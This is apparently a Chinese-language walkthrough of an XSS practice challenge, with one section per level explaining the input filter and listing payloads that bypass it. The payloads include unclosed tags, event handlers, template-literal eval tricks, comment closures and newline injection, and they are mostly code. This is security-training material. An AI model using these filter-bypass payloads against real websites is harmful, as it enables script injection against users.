xss 知识准备
练习入口
通关笔记
Level 0
分析:没有过滤,构造脚本标签即可。
方案:
1. "><script>prompt(1)</script>
2. "><svg onload=prompt(1)>
3. "><img src="x" onerror="prompt(1)" >
Level 1
分析:过滤了<>,只要用<>闭合就将<xx>全部替换为空。
可以去掉>来绕过,浏览器在处理没有右尖括号的标签时有兼容性,没有>的标签也能生效。(注意这时候后边不能有内容)。
可以用 // 注释或换行分开</article>
方案:
1. <img src=# onerror=prompt(1)
2. <svg/onload=prompt(1)// (利用注释过掉</article>)
或
<svg onload=prompt(1)//
3. 利用onerror事件,当src寻找的资源不存在发送错误弹框。
<img src='' onerror='prompt(1)'
Level 2
分析:过滤了=和),尝试使用编码或其他方式绕过。
方案:
1. <script>eval.call`${'prompt\x281)'}`</script>
2. <script>prompt.call`${1}`</script>
Level 3
分析:
过滤了->并替换成_,但是除了-->可以闭合注释,--!>也可以
方案:
1.--!><svg/ onload=prompt(1)>
2. 官方答案: <script>eval.call`${'prompt\x281)'}`</script>
3. 官方答案: <script>prompt.call`${1}`</script>
Level 5
分析:将 >onXXX = focus 替代为了 _ (其中 XXX 代表任意字符) 过滤 > 的目的是为了防止 > 构造闭合。 过滤 onXXX= 是为了过滤 on 开头的事件。 过滤 focus 是为了过滤 focus 事件。对于<input value="" type="text">中type和value的顺序,能够利用img
方案:
1.用换行绕过onXXX= " type='image' src='' onerror ="prompt(1)
Level 7
分析:通过 split 将字符串分割成数组,再通过数组的 map 方法能创建新的数组,新数组格式加工成了<p class="comment" title="最长只有12字符的内容"></p>可以利用多行注释来打通,注意到一段只有12个字符,要简洁。
方案:
1. "><svg/a='#'onload='/*#*/prompt(1)'
2. "><script>/*#*/a='prom'/*#*/+'pt(1)'/*#*/eval(a)/*#*/</script>